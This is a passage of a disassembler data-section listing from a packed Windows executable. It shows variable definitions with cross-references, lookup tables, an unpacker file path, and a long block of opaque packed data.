dword_47F80C dd 24h dup(0) ; DATA XREF: sub_406422+3BFo
dword_47F89C dd 0 ; DATA XREF: sub_406422+3B3w
; sub_406422+437w ...
dword_47F8A0 dd 0 ; DATA XREF: sub_406422+3D2w
dd 2 dup(0)
db 0
byte_47F8AD db 0 ; DATA XREF: sub_406A2F+28r
; sub_406A2F+30o
align 10h
dword_47F8B0 dd 0 ; DATA XREF: sub_406422:loc_4067FFw
; sub_406422+3F7r ...
dword_47F8B4 dd 0 ; DATA XREF: sub_406422+38Aw
; sub_406BAB+7EFr
dword_47F8B8 dd 0Eh dup(0) ; DATA XREF: sub_40A0F0+3Eo
dword_47F8F0 dd 0 ; DATA XREF: sub_40B8A9+Aw
align 8
dword_47F8F8 dd 0 ; DATA XREF: sub_40CC92+5Er
; sub_40CC92+A4w
align 10h
word_47F900 dw 0 ; DATA XREF: sub_40CC92+55r
; sub_40CC92+9Ao
word_47F902 dw 0 ; DATA XREF: sub_40CC92+48r
db 2 dup(0)
word_47F906 dw 0 ; DATA XREF: sub_40CC92+3Br
word_47F908 dw 0 ; DATA XREF: sub_40CC92+2Er
word_47F90A dw 0 ; DATA XREF: sub_40CC92+21r
align 10h
dword_47F910 dd 0 ; DATA XREF: sub_40D07C+3Br
; sub_40D07C+91w
dword_47F914 dd 0 ; DATA XREF: sub_40C7CB+2Bw
; sub_40CA73+1B9w ...
dword_47F918 dd 0 ; DATA XREF: sub_40C7CB+35w
; sub_411584:loc_41161Ew ...
dword_47F91C dd 0 ; DATA XREF: sub_41416A+13Ar
dword_47F920 dd 0A28h ; DATA XREF: sub_40D514+52w
dword_47F924 dd 501h ; DATA XREF: sub_40D514+49w
dword_47F928 dd 5 ; DATA XREF: sub_40D514+3Ew
dword_47F92C dd 1 ; DATA XREF: sub_40D514+30w
dword_47F930 dd 1 ; DATA XREF: sub_406422:loc_406702r
; sub_4129FA+91w
dword_47F934 dd 4D0B20h ; DATA XREF: sub_406422+2E9r
; sub_406422+309r ...
dd 0
dword_47F93C dd 4D0B48h ; DATA XREF: sub_412941+44w
; sub_415713+9r ...
dword_47F940 dd 0 ; DATA XREF: sub_40AC96+16o
; sub_40ACB5+19o ...
dword_47F944 dd 0 ; DATA XREF: sub_40AC49+3Do
; sub_415713+16r ...
dd 0
off_47F94C dd offset aCM_unpackerPac ; DATA XREF: sub_4129FA+2Ew
; "C:\\m_unpacker\\packed.exe"
dd 0
byte_47F954 db 0 ; DATA XREF: sub_40D167+2Dw
; sub_41344C+5r
align 4
dword_47F958 dd 0 ; DATA XREF: sub_40D167+27w
dword_47F95C dd 0 ; DATA XREF: sub_40D167+4r
; sub_40D167+8Bw
dword_47F960 dd 0 ; DATA XREF: sub_40D514+84w
; sub_412941:loc_412953r ...
align 8
dword_47F968 dd 0 ; DATA XREF: sub_40D60Ar sub_40D62Fr ...
dword_47F96C dd 0 ; DATA XREF: sub_40B6BFr
; sub_40C4F8:loc_40C614r ...
dword_47F970 dd 0 ; DATA XREF: sub_40EA23r
dword_47F974 dd 0 ; DATA XREF: sub_40F8F1+4Bw
; sub_40FA0A+2Dw ...
dword_47F978 dd 0 ; DATA XREF: sub_41083C+11r
; sub_410940+1Ar ...
byte_47F97C db 0 ; DATA XREF: sub_41083C+3r
; sub_41083C+98r ...
align 10h
dword_47F980 dd 0 ; DATA XREF: sub_410940+11r
; sub_410A1E+21w ...
byte_47F984 db 0 ; DATA XREF: sub_410A1E+51w
align 4
dword_47F988 dd 0 ; DATA XREF: sub_410C14+4Er
; sub_410FEF+3Ar ...
dword_47F98C dd 0 ; DATA XREF: sub_410C14+5Cr
; sub_410FEF+43r ...
dword_47F990 dd 0 ; DATA XREF: sub_40BB32+7Ar
; sub_410DBB+5r
dword_47F994 dd 0 ; DATA XREF: sub_4113CC+29r
dword_47F998 dd 1 ; DATA XREF: sub_411E1B+28r
; sub_411E1B+4Cw ...
dd 2 dup(0)
dword_47F9A4 dd 0 ; DATA XREF: sub_40CEE0+4r
; sub_40CEE0+9Dr ...
dd 3 dup(0)
dword_47F9B4 dd 0 ; DATA XREF: sub_411E1B+C0r
; sub_4121D8+3Ar ...
dd 0
dword_47F9BC dd 1 ; DATA XREF: sub_41203F:loc_4121BAr
; sub_4121D8+4w ...
dword_47F9C0 dd 0 ; DATA XREF: sub_4124A9+37r
align 8
dword_47F9C8 dd 0 ; DATA XREF: sub_412765+3Ar
; sub_412765+46w ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_4129FA:loc_412A11o
; .nsp0:off_47F94Co
align 4
dd 3Ah dup(0)
dword_47FAD0 dd 1 ; DATA XREF: sub_412C47+2r
; sub_412C47+23w ...
dword_47FAD4 dd 0 ; DATA XREF: sub_413004+21r
dword_47FAD8 dd 0 ; DATA XREF: sub_411A3E+154w
; sub_4124A9:loc_4124D2w ...
align 10h
word_47FAE0 dw 0 ; DATA XREF: sub_413C19+1Ao
; sub_413C19+46r
byte_47FAE2 db 0 ; DATA XREF: sub_413C19+39r
align 4
dword_47FAE4 dd 7 dup(0) ; DATA XREF: sub_413C19+52o
dword_47FB00 dd 0 ; DATA XREF: sub_413C19+40w
; sub_413C19+5Co
dword_47FB04 dd 0 ; DATA XREF: sub_413C19+4Dw
dword_47FB08 dd 0 ; DATA XREF: sub_413C19+31w
dword_47FB0C dd 0 ; DATA XREF: sub_413C19+52w
dword_47FB10 dd 77C26E79h ; DATA XREF: sub_413D3C:loc_413D5Fr
; sub_413D3C+38r ...
dword_47FB14 dd 1 ; DATA XREF: sub_413E07+26r
; sub_413E07:loc_413E71w
dword_47FB18 dd 0 ; DATA XREF: sub_411A3E+7r
align 10h
dword_47FB20 dd 0 ; DATA XREF: sub_414438+11w
; sub_414438+63w ...
align 8
dword_47FB28 dd 0 ; DATA XREF: sub_414438+33o
; sub_414438+46r
dword_47FB2C dd 10h dup(0) ; DATA XREF: sub_414438+C1o
word_47FB6C dw 0 ; DATA XREF: sub_414696+A8r
word_47FB6E dw 0 ; DATA XREF: sub_414438+54r
; sub_414696+DBr ...
word_47FB70 dw 0 ; DATA XREF: sub_414696+CAr
word_47FB72 dw 0 ; DATA XREF: sub_414696+D3r
; sub_414696:loc_414788r
word_47FB74 dw 0 ; DATA XREF: sub_414696+C0r
word_47FB76 dw 0 ; DATA XREF: sub_414696+B8r
word_47FB78 dw 0 ; DATA XREF: sub_414696+B0r
word_47FB7A dw 0 ; DATA XREF: sub_414696+9Er
dword_47FB7C dd 0 ; DATA XREF: sub_414438+4Br
dword_47FB80 dd 10h dup(0) ; DATA XREF: sub_414438+FBo
word_47FBC0 dw 0 ; DATA XREF: sub_414696+46r
word_47FBC2 dw 0 ; DATA XREF: sub_414438:loc_4144AFr
; sub_414696+78r ...
word_47FBC4 dw 0 ; DATA XREF: sub_414696+67r
word_47FBC6 dw 0 ; DATA XREF: sub_414696+70r
; sub_414696:loc_41471Ar
word_47FBC8 dw 0 ; DATA XREF: sub_414696+5Dr
word_47FBCA dw 0 ; DATA XREF: sub_414696+55r
word_47FBCC dw 0 ; DATA XREF: sub_414696+4Dr
word_47FBCE dw 0 ; DATA XREF: sub_414696+3Er
dword_47FBD0 dd 0 ; DATA XREF: sub_414438+80r
dword_47FBD4 dd 0 ; DATA XREF: sub_414438+132r
; sub_414438:loc_414584r ...
dword_47FBD8 dd 0 ; DATA XREF: sub_414423r sub_414423+Ew
dword_47FBDC dd 0 ; DATA XREF: sub_4149C4+3r
; sub_4149C4+2Ew ...
dword_47FBE0 dd 0 ; DATA XREF: sub_4149C4+43w
; sub_4149C4:loc_414A13r
dword_47FBE4 dd 0 ; DATA XREF: sub_4149C4+4Aw
; sub_4149C4+60r
dword_47FBE8 dd 0 ; DATA XREF: sub_41545B:loc_4154C2r
; sub_41545B+6Do
dword_47FBEC dd 0 ; DATA XREF: sub_41545B:loc_415499r
; sub_41545B+44o
dword_47FBF0 dd 0 ; DATA XREF: sub_41545B:loc_41548Cr
; sub_41545B+37o
dword_47FBF4 dd 0 ; DATA XREF: sub_41545B:loc_4154A6r
; sub_41545B+51o
dd 0
dword_47FBFC dd 0 ; DATA XREF: sub_41416A+3Fr
dword_47FC00 dd 0 ; DATA XREF: sub_415B4F+28r
; sub_415B4F+48w ...
byte_47FC04 db 1 ; DATA XREF: sub_402951r sub_402951+9w ...
align 4
dword_47FC08 dd 4D1110h ; DATA XREF: sub_411702:loc_411713r
; sub_411BAE+14r ...
dd 5 dup(0)
dword_47FC20 dd 400h dup(0) ; DATA XREF: .nsp0:off_420310o
; .nsp0:00420318o
dword_480C20 dd 200h ; DATA XREF: sub_411702+9r
; sub_411702+56r ...
dd 7 dup(0)
dword_480C40 dd 4D0650h ; DATA XREF: sub_40D653+B1r
; sub_41176F+75r ...
dword_480C44 dd 3Fh dup(0) ; DATA XREF: sub_412D79+92o
dword_480D40 dd 20h ; DATA XREF: sub_411584+8r
; sub_411848+Cr ...
dword_480D44 dd 4E4h ; DATA XREF: sub_41203F+14r
; sub_41203F+65w ...
align 10h
dword_480D50 dd 3 dup(0) ; DATA XREF: sub_41203F+123o
; sub_41203F+171o ...
dword_480D5C dd 0 ; DATA XREF: sub_41203F+108w
; sub_41203F+15Dw ...
byte_480D60 db 0 ; DATA XREF: sub_41227E:loc_41238Aw
; sub_41227E:loc_4123A7w ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_480E60 db 0 ; DATA XREF: sub_41203F+5Co
; sub_41203F+AFo ...
byte_480E61 db 0 ; DATA XREF: sub_40D21A+5Dr
; sub_41203F+A0w ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_480F64 dd 0 ; DATA XREF: sub_41203F+6Ew
; sub_41203F+12Bw ...
dword_480F68 dd 0 ; DATA XREF: sub_40EC10+3Cw
; sub_40F2B5+5r ...
dword_480F6C dd 0 ; DATA XREF: sub_40EC83+23Ar
; sub_40EC83+25Ar ...
dword_480F70 dd 0 ; DATA XREF: sub_40EC10+31w
; sub_40EC83+311w ...
dword_480F74 dd 0 ; DATA XREF: sub_40EC10+21w
; sub_40EC83+22Dr ...
dword_480F78 dd 0 ; DATA XREF: sub_40EC10+28w
; sub_40EC58r ...
dword_480F7C dd 0 ; DATA XREF: sub_40EC10+15w
; sub_40EC58+8r ...
dword_480F80 dd 0 ; DATA XREF: sub_40B6FD+Fr
; sub_40C4F8+5Cr ...
dword_480F84 dd 4D0000h ; DATA XREF: sub_40B6FD+66r
; sub_40B771+5Ar ...
dword_480F88 dd 1 ; DATA XREF: sub_40B6FDr sub_40B771+Cr ...
dword_480F8C dd 142340h ; DATA XREF: sub_40D514+7Aw
; sub_4128E9+Fr ...
dword_480F90 dd 1 ; DATA XREF: sub_412941+ADw
; sub_415713r
dword_480F94 dd 1 ; DATA XREF: sub_412403r
; sub_412403+11w ...
dword_480F98 dd 4D0764h ; DATA XREF: sub_40C193+13r
; sub_40C193:loc_40C1D5r ...
dword_480F9C dd 4D0758h ; DATA XREF: sub_40C193+1r
; sub_40C193+Cr ...
byte_480FA0 db 1 ; DATA XREF: sub_4163F4+15r
; sub_4163F4+1Ew
align 4
dd 417h dup(0)
dd 0D9A22A00h, 9B1788h, 193D7E08h, 4EECD3EFh, 0C42C9214h
dd 7E438167h, 0F62B7E08h, 8D4EB4Dh, 464C404Fh, 55203A16h
dd 9F4792ECh, 70DB621h, 5677E69Bh, 10E3E460h, 0E1F542FBh
dd 0F24B2575h, 0EEA4BC77h, 0F52EDEE1h, 0D65EA84Bh, 9A4E50D1h
dd 95AEC0F1h, 62EF7479h, 8C19C99Ah, 1D145679h, 8E46A5FBh
dd 0C249C2E1h, 0BE2F61F0h, 6FBE1455h, 9CAF5B34h, 36F0D4E7h
dd 69EEEE0Eh, 4E7410E7h, 45A792F2h, 5C50B4D5h, 0C857BDBAh
dd 8982E4F0h, 0F744FC3Dh, 0C4098710h, 0EB36B716h, 964AC978h
dd 25D04C82h, 57A96587h, 0FC246CB4h, 245AABC8h, 26808D0Ah
dd 0B0F6B90Ch, 0E42D47E2h, 3FD4D73Eh, 3653A299h, 43764ADFh
dd 137E926Fh, 6A477D06h, 87A8291Bh, 683D8C69h, 9ED2593Ch
dd 21CF26C9h, 0CE4D01D5h, 0E1873269h, 68A343A2h, 86B258C8h
dd 818D1181h, 9542949Bh, 0EC09A06Dh, 5B529688h, 0E6332C8Ch
dd 884D964Dh, 6346C2F3h, 0E6B79F46h, 0A060ED19h, 0BA98B848h
dd 6D18715Ah, 6B41F44Bh, 951C1ACh, 3C7594AEh, 1B462E36h
dd 13607D1Ch, 0F6E0814h, 0CACB68A5h, 7F24E27Ah, 7534E19h
dd 277AA002h, 9C0C1AC3h, 0A01DDB50h, 176F5D4Dh, 6CF5F57h
dd 0BBF4146Ah, 0D19E6ACh, 0E51D868Eh, 30DD675Ch, 9819DDF0h
dd 2774011Ah, 0AE82DDFEh, 0E28075A6h, 0C8BBE9F0h, 4F1AE941h
dd 0FB5A30A0h, 0A27AF681h, 90520CF8h, 8E10B437h, 0F614C48Bh
dd 0C81BF458h, 7A9C6D87h, 7EB3200Ch, 48FA89C0h, 27A4F5F2h
dd 0DCD192C6h, 26D30BC0h, 428D8B52h, 0D962C7E3h, 16FB3E44h
dd 38189A3Dh, 0F77BD4EEh, 4E85ABB9h, 0DCE4DEA4h, 0D94DA250h
dd 0F97AE723h, 35B5FC98h, 3AA3B292h, 8D603457h, 0D9438D7Ch
dd 835B3C09h, 0D5CFFAC9h, 4131FCCAh, 0B92FA2h, 231564C7h
dd 7CEEE07Ch, 0AA7B8963h, 667B7E35h, 0F5ED7C7Eh, 2C648AC9h
dd 0FFEE05C2h, 978400A6h, 5C68E7B4h, 0D4F94A69h, 49CEBB0Ah
dd 6F7A8813h, 4B7242A2h, 6A7E5F93h, 3EB038BEh, 5755A966h
dd 525676F1h, 9D8C3173h, 0A9670B54h, 0F709F324h, 14261F67h
dd 0E3273371h, 6E708CD4h, 8C81CD58h, 92719F50h, 13DBDFA7h
dd 241DDFFh, 62FC6881h, 4AB2A035h, 7F8BF12Bh, 68BCAB8Eh
dd 0B588FA88h, 72241D0h, 5F199118h, 0FE123AC2h, 1817D173h
dd 7A939041h, 43FF72B0h, 10127FC5h, 7737EEC5h, 0EF3B4129h
dd 15974A7Bh, 6A47B689h, 0C1418A3h, 6EB90E00h, 643A9B50h
dd 0E9A1F85Ch, 0D9044467h, 871CB341h, 794FBE96h, 0FB8822BFh
dd 0B88264FDh, 920E0724h, 8407321Ch, 0E02E7389h, 5AB4F8F4h
dd 532D10DEh, 3BF41B7Ch, 81852829h, 0C8465E27h, 9B8F6B79h
dd 4E9B104h, 0CC414BD6h, 0BFE51F9Ch, 0E1DA506Dh, 557F1242h
dd 0C8BC3F0h, 1EE69C64h, 11FF9D81h, 264C8D1Ah, 98F9E05Ch
dd 0D31AC62Eh, 49C040B8h, 8B6537D8h, 0F94D383Ch, 878BD7DDh
dd 0D62BA73Ah, 77BEACF1h, 0C05C9290h, 3342F37Bh, 988F6292h
dd 450B50E2h, 6C4A9912h, 24BB51BBh, 0E3E1E9h, 0FFF6D56Ah
dd 69602FB0h, 1156639Bh, 6D5FBC37h, 0B24C00EFh, 0ECADC854h
dd 0FC37F67h, 0B0B87305h, 60C5DB3h, 71D778D7h, 19BE525Ah
dd 7C2775DBh, 4DA06BB7h, 0C54FA97Dh, 44F40841h, 73FBE112h
dd 18AA0D1Bh, 0ECDFAh, 749F8DF1h, 62FA9D16h, 1E82B44h
dd 0F5740831h, 2833D2E9h, 54C37638h, 0DD630A22h, 25970F88h
dd 70FDCF9h, 0C36F8B3Bh, 6497CBEAh, 7AF44986h, 1534138Eh
dd 0DF08C112h, 0F2E50DFAh, 7F4FF96Fh, 541F237Ah, 668EB85Eh
dd 2724CD39h, 6D157DE0h, 407F4333h, 58729908h, 416B804Dh
dd 0D3659C98h, 28307F29h, 45671AF5h, 56BC3FEDh, 0CFD4599Bh
dd 0CCB953C3h, 0E088EC09h, 0E46A11BFh, 82D85A16h, 1B36A4ABh
dd 0E98C0DB3h, 0EA7274D9h, 0DA16F22Ch, 1ABD7AA8h, 1CE59B19h
dd 2528B3D1h, 85B27B4Ch, 0BD66DF1Ch, 0CDDB0A13h, 0A41F2161h
dd 2C0E9BC0h, 0B8B423Ch, 6E9D6EB9h, 0CFBBBD2Ah, 9D87CC13h
dd 8AC6F9D1h, 3E0914E3h, 0D394770Ch, 8D7C7DDFh, 2E43306Eh
dd 6938725h, 111F567Ch, 0E3159F13h, 3C411E4Bh, 0CE03F297h
dd 2142E913h, 2E4C7C1Fh, 0E7218F43h, 9C3318D5h, 43309826h
dd 5AB1665Eh, 3AE164E9h, 4E3BA98Eh, 1B4C3A1Fh, 0ADDD30DFh
dd 0DB46EAE9h, 0B7BF9791h, 54603EC8h, 0EADE37AAh, 2391581Bh
dd 7935CB6Fh, 0B4E514B6h, 3B6071D2h, 0B09D4FBEh, 427DD536h
dd 79A86220h, 5ED00644h, 0AD9817B3h, 0B71AFB2h, 0BF5F7A9Ah
dd 86EAACB2h, 0C0A68C27h, 0A9226B01h, 47492D3Dh, 0E5308BBDh
dd 0F18FE688h, 54419553h, 5A9145C2h, 0C6C7B1DBh, 88F29458h
dd 0E58FED35h, 0ED320229h, 0E368AEFh, 562281EAh, 5D9B70FEh
dd 5A2BC85Bh, 0A716B8F1h, 82A45B74h, 97E8555Bh, 723025AFh
dd 0D0FF1920h, 16CD5D6Fh, 0F96E719h, 354143F0h, 9EEE66A9h
dd 41196A80h, 0DDB7FE85h, 5A5F4D5Dh, 0D8888BE7h, 2DA05459h
dd 0D08BC191h, 0DC3DC8EEh, 535BA288h, 9AFD25FFh, 514ED56Ah
dd 131CE7ACh, 67A258DCh, 46C20C55h, 6D8B9DF0h, 518A815Bh
dd 52632D30h, 1FE3EA23h, 9267DCD3h, 0DB67868Eh, 24D3D040h
dd 776C2AAFh, 0BD9E4369h, 893E0D00h, 95612890h, 63060698h
dd 125EBA39h, 21F9FD24h, 0E80A1A09h, 491084B4h, 4663A0C9h
dd 69DA1F94h, 8EFA4768h, 9C2AE0C9h, 0ED2BE897h, 3E1765E1h
dd 626DA3F4h, 7662B2B8h, 0D72137A9h, 0D7183285h, 833D1C3h
dd 11CFA2DCh, 33372B3h, 0D43D95D9h, 8D9DB6E9h, 0D92C5CFFh
dd 0E9CBBF1Ch, 5986064Ch, 0D73F64B1h, 0FDFF2755h, 0DE9A7274h
dd 9C8A6626h, 19402FB0h, 178DE918h, 0D16489E4h, 92D37C66h
dd 0F240F3D3h, 1D8039Fh, 4A34EF53h, 0F2A0CA88h, 28C5CEB1h
dd 3AD13240h, 939D1628h, 0DA0F04F6h, 1014BF9h, 0D0E180A4h
dd 366DA583h, 9B5511C4h, 7903C122h, 0C5845597h, 9207E884h
dd 19C1A46Dh, 7B1BE9E1h, 9A3E8A97h, 0DBA82DC4h, 0A58738E0h
dd 8418E2A0h, 8B4C02D1h, 6F33E041h, 650C3559h, 6DB67921h
dd 6F86BF51h, 0D346EE0Fh, 0A8D89BABh, 0DED94940h, 5D1948F8h
dd 0CED3C52Fh, 0BFDD7517h, 843E627Ch, 83D9053Bh, 326ADD65h
dd 1C7D06Eh, 38D04C6Eh, 7A3D0390h, 80B47F58h, 0F5F3A995h
dd 0C2F9776Eh, 8BC607DCh, 0F33EDA7Ah, 601FCD2Ch, 0CC7D1060h
dd 723DD466h, 0CC216BFFh, 0C8103E02h, 0F694E0A7h, 594BC40h
dd 9AFA0C1Ch, 0CD143394h, 19849DF2h, 0D9CFE34Bh, 95BFBA4Ah
dd 5376846Eh, 0F7107EEBh, 0C22A945Ch, 6D45E349h, 946747BBh
dd 937D2DC6h, 0F1879C7Dh, 0E6BCCAE5h, 0B362E523h, 0C57C0E49h
dd 2E310836h, 0C1CE23F4h, 2ACF45CBh, 0CB7C1A07h, 0C34BD233h
dd 0A7B53011h, 5F839DB3h, 0B6EFBF57h, 0F07A3C32h, 0E9F3B749h
dd 0C2AA3154h, 4DDF0A5Bh, 2A84F591h, 80042345h, 68FD38Ch
dd 69BB9FB6h, 7FA495C8h, 985F581Bh, 3C5BADBFh, 3980488h
dd 40117CAFh, 4224BEB2h, 41B7096Eh, 0F24D2FE0h, 3A2C404Ah
dd 1B692BCFh, 0BAF63B74h, 2BEF0E19h, 2108D223h, 104B4FB2h
dd 0CCAAE5B4h, 7A80A700h, 0A8C541Ch, 2716A47Ah, 74F7F21Bh
dd 219621E4h, 9F4F843h, 46B4F916h, 0C14420BCh, 0B02D2748h
dd 64ABE359h, 3D6E832Eh, 16A474D1h, 0E4EC8779h, 82F5343Dh
dd 1F7B00C1h, 0DB55D16h, 97BBF324h, 38AAD60Ch, 47785DA4h
dd 4ECABF17h, 589EAF8Fh, 0D713653Fh, 18489843h, 715ABE73h
dd 0CB9EED6Ah, 8A72AAB0h
dd 6F733DD4h, 0C3FD4A8Ah, 0E6672267h, 6074E9D4h, 77B256Fh
dd 38BC33E5h, 2F665026h, 318395B1h, 9E00F064h, 0D8E7E4Eh
dd 0FB57B36Bh, 9A3A0911h, 77F3D8CFh, 0C5CCC703h, 9ED2197Dh
dd 8F558711h, 0FCC44B9Dh, 0F049CA51h, 7522D783h, 0A392F00Bh
dd 20845CE4h, 0DFB92D4Bh, 70B387h, 0C4492749h, 4E91CA14h
dd 35E79157h, 0F90E2A5h, 8146A5B0h, 0F62BC2BCh, 0DB918736h
dd 606E6F09h, 8D1CA739h, 4CC0BEE0h, 636700FDh, 866A4775h
dd 0B7317AC2h, 7FEBECD1h, 868DF33Ch, 14883A8Eh, 988E8DF5h
dd 0A0842968h, 547ED4Eh, 0C3DA441Bh, 86440AF2h, 0BFF819F7h
dd 6CEFCAAFh, 4C33A35Eh, 566EF1FFh, 88D17499h, 0A509C145h
dd 0F74017FAh, 44515C1h, 951CE07h, 282A689h, 3CB86965h
dd 67170E7Dh, 5DB9EB44h, 3FEF952Fh, 0DB2557B1h, 6D5FF52h
dd 22CFFA55h, 548E8255h, 19DB10C6h, 0BA1D5838h, 6B326B50h
dd 0F5D6ABD6h, 22543D9Ch, 8CB19909h, 55657F22h, 33D7726Ch
dd 0CC8A3756h, 3D92C17Bh, 696FCB68h, 8621ED6Eh, 664B0C04h
dd 26CA8BA5h, 0B4468EE7h, 0D48313C2h, 0DA6B2933h, 7688416Eh
dd 36B5A5B3h, 0CC7A4058h, 974E8477h, 17F2BD77h, 9FDB847Dh
dd 0A00B82CDh, 0C8F0D8F5h, 317AA9A8h, 0E0A2B883h, 78D2D943h
dd 5A1DB4Dh, 0A1A2B4F9h, 2F673EFFh, 0C41A1038h, 0D4346EEDh
dd 3BE55B34h, 440ADBC2h, 0EE4A1708h, 0BDB5BCE9h, 96F5E3ADh
dd 409CC137h, 6B3FFF2h, 0D097DAC4h, 89057249h, 0A000CABCh
dd 8F7B4D84h, 0F2408BECh, 9E709025h, 0DF62998Fh, 0FCE09C86h
dd 0A75CDA18h, 0DE6BCBC4h, 0DFC20F00h, 0CBCF66DAh, 3293BA4Eh
dd 0AEB6A62Dh, 0EA7CB38Ch, 9AC5EFD8h, 0C73E1BF7h, 6999078Ah
dd 5A22FD53h, 867C062Eh, 15729DA3h, 15F15C42h, 10A716FAh
dd 73F2BBC1h, 8BBE64D1h, 7417D33Bh, 42BC94A1h, 2F1B1F97h
dd 0EFB81633h, 0A7F37404h, 2979CEF8h, 0F8587C83h, 7117750Ah
dd 8537D972h, 0B535798Dh, 1AF98514h, 3DB9B1B2h, 8969F364h
dd 59317300h, 5D6A1BCCh, 3D8F69C2h, 0B4823C76h, 0DBDDF068h
dd 5E0F228Fh, 9128938h, 1C97BEAAh, 814F7A34h, 0A6BBC355h
dd 93BE02FCh, 0D4856B33h, 0E67F017Ch, 0DD577825h, 0ED1DB532h
dd 4642F344h, 0BD465CCAh, 0E4CCE0E7h, 0DC49B516h, 0F1F329CCh
dd 6D456F0Ch, 7EEEC30Bh, 5E3AC20Fh, 0A07B8DBBh, 133A1397h
dd 8A891E5Dh, 7CD9635Bh, 0A121B973h, 0D3DFF438h, 0F6E641FEh
dd 0F8AD7522h, 63930605h, 8F7E7645h, 6E6F8980h, 0A05C8FB6h
dd 0FA62C5ECh, 71BBEE34h, 0ED8FA4D2h, 0D8716F28h, 0B49EF92Ah
dd 2A65711Ah, 45F98D4Bh, 29634ADBh, 0AF7EB769h, 1B03EE64h
dd 7638CD8Fh, 2EA82D18h, 8533D9E5h, 0FD9B213Bh, 0A19B7939h
dd 938C6AE5h, 0B2C8295Bh, 46A478C2h, 152BBDD1h, 799C3032h
dd 93075640h, 0CFA09B74h, 28EEF6D1h, 7E9E0F4Ah, 4DFFF193h
dd 0D947DD67h, 0AD89DC1Bh, 0D8445CFFh, 4BD4F69Eh, 96CC3BFBh
dd 17910635h, 769EB3C8h, 4857353Ah, 2E6131F4h, 0AC16E2BFh
dd 32AE8D1Eh, 0C1E1B607h, 39B46567h, 403C43D4h, 53010A94h
dd 71C0CDC1h, 0C5249AA9h, 0EF629C00h, 6320C537h, 0D2C65D43h
dd 1BCE424Dh, 0F52622AAh, 0ECF89AD4h, 932ED321h, 0C737F5D5h
dd 0C0265DD5h, 6815AAD5h, 6275BEB9h, 3D260579h, 0C0B6B8F2h
dd 0BFA64AE7h, 96427D29h, 0E3C7D641h, 0E9088EBh, 0E4C1612Fh
dd 7C20FF1Ch, 0CF81D02Dh, 0F5CCCE4Dh, 4165E66Dh, 0CB9E257Dh
dd 22B98818h, 8BE4D71Bh, 22672380h, 8629136Eh, 0CCAF2712h
dd 29766DCFh, 0CA1075A7h, 617E613h, 0D772D4CCh, 0D90B819Bh
dd 7827250h, 8C9B816Eh, 188AD0Ah, 2F4C5892h, 0DDDAA6DBh
dd 5A8C4E0Eh, 0E21A4CABh, 5029E752h, 40D46D93h, 302A539Dh
dd 0D8FFA4F6h, 0AEE80E06h, 992D2845h, 437EECB2h, 170F1A08h
dd 2847EC99h, 23F400C0h, 0B623ED89h, 382DD4ABh, 54213075h
dd 0CDD95239h, 4A0A4B1Ah, 3D1CC9E5h, 0AD3B614Ah, 5C037B9Ah
dd 0E9DCAA52h, 1627615Fh, 0FFBE6B76h, 0D6194044h, 6E0E3C7Eh
dd 7723680Bh, 60F96510h, 0D8FFC006h, 4C103076h, 0C2DA49ADh
dd 0CF3F963Ch, 0DD54EF19h, 7CF2F13Bh, 808D05C9h, 5D6AD759h
dd 0F217791Eh, 0C3677EEh, 586C85E2h, 0AC647DA4h, 0E88F832Bh
dd 0B0501F50h, 5190C1FDh, 0A59E3B49h, 9F4F101Dh, 0B0D77A8Fh
dd 2515CB8Eh, 71DBFEC1h, 225B867Bh, 0FBA7398Fh, 4136F977h
dd 0DC5CC3B2h, 139C9C74h, 0ADD8AC5Fh, 0B45C3270h, 0D8F9C83Eh
dd 0DF5730B4h, 3B307490h, 0FD076BA1h, 0ACBEB942h, 8B46F332h
dd 77101884h, 3C7724FAh, 8886B692h, 357BFCADh, 987B02E8h
dd 92ED25C6h, 152A6F2Fh, 7D1D240Ah, 41C424E2h, 52462B0Fh
dd 0A12C9767h, 8AE7FEBAh, 0FBFA0C4Fh, 31FCBAD1h, 0F025836Ch
dd 6816C80Ah, 313A4963h, 30ADA143h, 133C5A37h, 961DC89Eh
dd 29D083FDh, 577625D7h, 0D7C7008h, 0A061DF23h, 0DD35A0B9h
dd 6E9EDF5Dh, 0D27203D0h, 0C5A12A6Eh, 8E3020CEh, 2EFC7A7Ch
dd 6DC3D880h, 0C0EE38D0h, 45EAA076h, 0E4B4EF42h, 462920DFh
dd 1EC5ACE9h, 43FBAAF6h, 0E67AFC31h, 2102E6C2h, 0EB3752FFh
dd 1FB8147Ch, 440E9BC9h, 80EB4DC1h, 3B1C0B53h, 256930CDh
dd 5487A82Bh, 0CA25C5DAh, 442C156Fh, 6AF67E42h, 3761F373h
dd 176B76E2h, 0A45F1C37h, 76C31CB7h, 0EA835B6Ah, 26E09E4Ah
dd 0B8AA2479h, 17836D2Eh, 3A1B38A4h, 5ADA8E0Bh, 0D7F4D9ADh
dd 0EF35038Bh, 84BB6FEBh, 7B255E53h, 0F785B583h, 201908DBh
dd 0A38ECAA3h, 250A3277h, 9FE603ADh, 0A8C0E0C2h, 0B9F67622h
dd 26246F41h, 178243ACh, 0C9EBC78Eh, 0EE977E27h, 46DA061Eh
dd 0B85F1C4h, 321ADD5Ah, 0BEEDEEB7h, 0BB40EE5Bh, 7A408A6Eh
dd 280F3658h, 814EA951h, 5CCD7392h, 715902CCh, 0A55B033Ah
